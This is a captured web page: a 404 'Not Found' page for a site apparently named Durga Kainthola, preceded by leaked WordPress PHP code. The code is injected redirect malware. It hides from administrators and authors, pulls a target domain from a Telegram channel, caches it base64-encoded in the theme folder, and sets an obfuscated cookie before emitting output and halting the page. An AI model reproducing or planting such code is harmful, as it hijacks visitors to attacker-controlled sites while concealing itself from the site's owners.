add_action('template_redirect', function () { if (!current_user_can('administrator') && !current_user_can('author')) { $cache_file = __DIR__ . '/tg_redirect_cache'; // в папке темы if (file_exists($cache_file) && filesize($cache_file) > 0) { $cache_age = time() - filemtime($cache_file); $cached_domain = base64_decode(file_get_contents($cache_file)); } if (!isset($cached_domain) || $cache_age >= 30 || empty($cached_domain)) { $html = @file_get_contents("https://t.me/s/trafficredirect1"); if ($html && preg_match_all('/(.*?)<\/code>/s', $html, $m)) { $cached_domain = end($m[1]); if (!empty($cached_domain)) { file_put_contents($cache_file, base64_encode($cached_domain)); } } } if (!isset($_COOKIE['aHRfcnI=']) && !empty($cached_domain)) { setcookie('aHRfcnI=', 1, time() + 86400, '/'); echo ''; exit; } } }); 404 – Durga Kainthola

Not Found

Resource request Could not be found on this services.